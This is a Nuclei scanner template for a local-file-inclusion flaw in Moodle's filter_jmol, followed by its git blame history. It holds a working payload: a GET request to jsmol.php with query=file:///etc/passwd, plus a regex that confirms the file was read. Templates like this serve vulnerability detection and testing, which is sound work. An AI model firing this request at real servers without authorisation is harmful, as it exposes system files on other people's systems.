nuclei-templates/vulnerabilities/moodle-filter-jmol-lfi.yaml

id: moodle-filter-jmol-lfi

info:
  name: Moodle filter_jmol LFI
  author: madrobot
  severity: high

requests:
  - method: GET
    path:
      - "{{BaseURL}}/filter/jmol/js/jsmol/php/jsmol.php?call=getRawDataFromDatabase&query=file:///etc/passwd"
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: regex
        regex:
          - "root:[x*]:0:0:"
        part: body
Update and rename Moodle filter_jmol lfi.yaml to moodle-filter-jmol-lfi.yaml 2020-04-08 16:59:16 +00:00			`id: moodle-filter-jmol-lfi`
Fix syntax 2020-05-24 22:19:21 +00:00
Create Moodle filter_jmol multiple vulnerabilities.yaml 2020-04-08 12:47:16 +00:00			`info:`
Update and rename Moodle filter_jmol multiple vulnerabilities.yaml to Moodle filter_jmol lfi.yaml 2020-04-08 12:50:43 +00:00			`name: Moodle filter_jmol LFI`
Create Moodle filter_jmol multiple vulnerabilities.yaml 2020-04-08 12:47:16 +00:00			`author: madrobot`
			`severity: high`

			`requests:`
			`- method: GET`
			`path:`
			`- "{{BaseURL}}/filter/jmol/js/jsmol/php/jsmol.php?call=getRawDataFromDatabase&query=file:///etc/passwd"`
Fixed default condition OR to AND in false-positives 2020-07-08 11:38:57 +00:00			`matchers-condition: and`
Create Moodle filter_jmol multiple vulnerabilities.yaml 2020-04-08 12:47:16 +00:00			`matchers:`
			`- type: status`
			`status:`
Fix syntax 2020-05-24 22:19:21 +00:00			`- 200`
Create Moodle filter_jmol multiple vulnerabilities.yaml 2020-04-08 12:47:16 +00:00			`- type: regex`
			`regex:`
Fix syntax 2020-05-24 22:19:21 +00:00			`- "root:[x*]:0:0:"`
Create Moodle filter_jmol multiple vulnerabilities.yaml 2020-04-08 12:47:16 +00:00			`part: body`